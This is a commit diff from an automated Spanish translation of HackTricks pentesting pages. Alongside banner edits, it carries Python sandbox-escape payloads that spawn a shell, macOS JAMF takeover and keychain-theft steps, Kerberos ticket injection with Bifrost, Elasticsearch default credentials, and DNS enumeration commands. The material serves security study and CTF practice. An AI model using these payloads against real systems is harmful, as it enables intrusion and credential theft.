Translated ['README.md', 'generic-methodologies-and-resources/python/byp

This commit is contained in:
Translator 2024-11-09 13:50:52 +00:00
parent cccd1891d3
commit 415f44c86a
31 changed files with 333 additions and 335 deletions

View file

@ -32,7 +32,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@ -42,7 +42,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** es la **plataforma de hacking ético y bug bounty número 1 de Europa.**
**Intigriti** es la **plataforma de hacking ético y bug bounty #1 de Europa.**
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
@ -57,7 +57,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.
Obtén acceso hoy:
Accede hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -81,9 +81,9 @@ Obtén acceso hoy:
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -96,7 +96,7 @@ Obtén acceso hoy:
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a los resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a los resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados enriquecidos por ti.
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
@ -115,7 +115,7 @@ Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign\
WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no lo pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks.**

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,9 +27,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
Estos son algunos trucos para eludir las protecciones de sandbox de Python y ejecutar comandos arbitrarios.
## Command Execution Libraries
## Bibliotecas de Ejecución de Comandos
Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar cualquiera de estas bibliotecas:
Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar alguna de estas bibliotecas:
```python
os.system("ls")
os.popen("ls").read()
@ -116,7 +116,7 @@ Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para q
Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
{% endhint %}
Si ciertos caracteres están prohibidos, puedes usar la **representación hex/octal/B64** para **bypassear** la restricción:
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassear** la restricción:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -160,7 +160,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypass de protecciones a través de codificaciones (UTF-7)
## Bypassing protections through encodings (UTF-7)
En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
```python
@ -318,7 +318,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Leer archivo con ayuda de builtins y licencia
### Leer archivo con ayuda y licencia de builtins
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -508,7 +508,7 @@ Podemos hacer lo mismo con **otras bibliotecas** que sabemos que se pueden usar
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Además, incluso podríamos buscar qué módulos están cargando bibliotecas maliciosas:
Además, podríamos incluso buscar qué módulos están cargando bibliotecas maliciosas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -686,7 +686,7 @@ Puedes verificar la salida de este script en esta página:
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %}
## Formato de Cadena en Python
## Formato de cadena de Python
Si **envías** una **cadena** a python que va a ser **formateada**, puedes usar `{}` para acceder a **información interna de python.** Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
```python
@ -758,7 +758,7 @@ str(x) # Out: clueless
Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buckeye-writeups/), es posible cargar bibliotecas arbitrarias desde el disco abusando de la vulnerabilidad de cadena de formato en python.
Como recordatorio, cada vez que se realiza una acción en python, se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Tienes más como esto en la sección [**Ejecución de Python sin llamadas**](./#python-execution-without-calls).
@ -993,7 +993,7 @@ types.CodeType.__doc__
### Recreando una función filtrada
{% hint style="warning" %}
En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente del objeto de código de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** son lo que **necesitarás filtrar**.
En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente del objeto de código de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **necesitarás filtrar**.
{% endhint %}
```python
fc = get_flag.__code__
@ -1010,7 +1010,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
En ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\
De todos modos, a veces podría ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo, porque no tenemos la función `compiled` en el CTF).
Por ejemplo, compilamos y ejecutamos manualmente una función que lee _./poc.py_:
Por ejemplo, compilaremos y ejecutaremos manualmente una función que lee _./poc.py_:
```python
#Locally
def read():
@ -1060,7 +1060,7 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
### Assert
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en el valor de **debug**.\
Por lo tanto, verificaciones como
Por lo tanto, las verificaciones como
```python
def check_permission(super_user):
try:
@ -1082,7 +1082,7 @@ will be bypassed
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -30,21 +30,21 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **comprometer potencialmente todos los ordenadores** distribuyendo tu malware en las máquinas.
Para el red teaming en entornos MacOS, se recomienda encarecidamente tener algún conocimiento de cómo funcionan los MDMs:
Para el red teaming en entornos MacOS, se recomienda tener algún entendimiento de cómo funcionan los MDMs:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
### Usando MDM como un C2
### Usando MDM como C2
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseña de firmware, cambiar la clave de FileVault...
Para ejecutar tu propio MDM necesitas **que tu CSR sea firmado por un proveedor** que podrías intentar obtener con [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple podrías usar [**MicroMDM**](https://github.com/micromdm/micromdm).
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribir el dispositivo en un MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribirse en el MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
Para inscribir el dispositivo en un MDM, necesitas instalar un **`mobileconfig`** como root, que podría ser entregado a través de un **archivo pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
Para inscribir el dispositivo en un MDM, necesitas instalar un archivo **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
**El agente Mythic Orthrus** utiliza esta técnica.
@ -62,14 +62,14 @@ Además, después de encontrar credenciales adecuadas, podrías ser capaz de for
![](<../../.gitbook/assets/image (107).png>)
#### Autenticación de dispositivo JAMF
#### Autenticación de Dispositivo JAMF
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
El **binario `jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Toma de control del dispositivo JAMF
#### Toma de Control de Dispositivo JAMF
La **URL** de **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Este archivo contiene básicamente la URL:
@ -105,9 +105,9 @@ sudo jamf policy -id 0
Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
* El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* La **llave de cadena de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
* El **llavero de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca la **llave de cadena de JAMF,** **engancha** el **agente** de Jamf y roba su información.
Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca el **llavero de JAMF,** **intercepta** el **agente** de Jamf y roba su información.
#### Robo de secretos
@ -121,7 +121,7 @@ El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-To
### Acceso Remoto a macOS
Y también sobre los **protocolos** **"especiales"** de **red** de **MacOS**:
Y también sobre los **protocolos** **de red** "especiales" de **MacOS**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -150,7 +150,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto de Objective-C diseñado para interactuar con las APIs Heimdal krb5 en macOS. El objetivo del proyecto es habilitar mejores pruebas de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs Heimdal krb5 en macOS. El objetivo del proyecto es habilitar mejores pruebas de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
### Información del Dominio
@ -196,7 +196,7 @@ dsconfigad -show
```
Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ contraseña
### Computer$ password
Obtén contraseñas usando:
```bash
@ -211,7 +211,7 @@ Obtén un TGT para un usuario y servicio específicos:
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Una vez que se ha recopilado el TGT, es posible inyectarlo en la sesión actual con:
Una vez que se recopila el TGT, es posible inyectarlo en la sesión actual con:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
@ -257,9 +257,9 @@ Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**OPC UA**, que significa **Open Platform Communications Unified Access**, es un protocolo de código abierto crucial utilizado en diversas industrias como Manufactura, Energía, Aeroespacial y Defensa para el intercambio de datos y control de equipos. Permite de manera única que el equipo de diferentes proveedores se comunique, especialmente con PLCs.
Su configuración permite medidas de seguridad robustas, pero a menudo, para la compatibilidad con dispositivos más antiguos, estas se reducen, exponiendo los sistemas a riesgos. Además, encontrar servicios OPC UA puede ser complicado, ya que los escáneres de red pueden no detectarlos si están en puertos no estándar.
Su configuración permite medidas de seguridad sólidas, pero a menudo, para la compatibilidad con dispositivos más antiguos, estas se reducen, exponiendo los sistemas a riesgos. Además, encontrar servicios OPC UA puede ser complicado, ya que los escáneres de red pueden no detectarlos si están en puertos no estándar.
**Puerto por defecto:** 4840
```text
@ -36,13 +36,13 @@ PORT STATE SERVICE REASON
```
## Pentesting OPC UA
Para revelar problemas de seguridad en los servidores OPC UA, escanéelo con [OpalOPC](https://opalopc.com/).
Para revelar problemas de seguridad en servidores OPC UA, escanéelo con [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Explotación de vulnerabilidades
Si se encuentran vulnerabilidades de omisión de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura.
Si se encuentran vulnerabilidades de bypass de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura.
Para obtener una pista sobre el dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google.
@ -56,7 +56,7 @@ Para obtener una pista sobre el dispositivo al que tienes acceso, lee los valore
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Información Básica
Es un servicio que **te permite ejecutar un comando dentro de un host** si conoces las **credenciales** válidas (nombre de usuario y contraseña).
Es un servicio que **te permite ejecutar un comando dentro de un host** si conoces **credenciales** válidas (nombre de usuario y contraseña).
**Puerto por Defecto:** 512
```
@ -36,7 +36,7 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Basic information
Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central de la Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente conocido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
Elasticsearch es un **motor de búsqueda** y **análisis** **distribuido** y **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente conocido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
### What is an Elasticsearch index?
@ -61,7 +61,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Eso significa que la autenticación está configurada y **necesitas credenciales válidas** para obtener cualquier información de Elasticsearch. Luego, puedes [**intentar forzarla**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (utiliza autenticación básica HTTP, por lo que cualquier cosa que pueda forzar la autenticación básica HTTP se puede usar).\
Aquí tienes una **lista de nombres de usuario predeterminados**: _**elastic** (superusuario), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Las versiones más antiguas de Elasticsearch tienen la contraseña predeterminada **changeme** para este usuario.
Aquí tienes una **lista de nombres de usuario predeterminados**: _**elastic** (superusuario), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. Las versiones anteriores de Elasticsearch tienen la contraseña predeterminada **changeme** para este usuario.
```
curl -X GET http://user:password@IP:9200/
```
@ -78,7 +78,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
```
### Elastic Info
Aquí hay algunos endpoints a los que puedes **acceder vía GET** para **obtener** información sobre elasticsearch:
Aquí hay algunos endpoints a los que puedes **acceder a través de GET** para **obtener** información sobre elasticsearch:
| \_cat | /\_cluster | /\_security |
| ------------------------------- | ----------------------------- | ------------------------- |
@ -178,7 +178,7 @@ Y observa las **propiedades creadas automáticamente**:
## Enumeración Automática
Algunas herramientas obtendrán algunos de los datos presentados anteriormente:
Algunas herramientas obtendrán algunos de los datos presentados antes:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
@ -190,7 +190,7 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -102,7 +102,7 @@ nslookup
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### Scripts útiles de nmap
### Scripts de nmap útiles
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
@ -115,7 +115,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
{% hint style="info" %}
Si puedes encontrar subdominios que resuelven a direcciones IP internas, deberías intentar realizar un BF de dns inverso a los NS del dominio solicitando ese rango de IP.
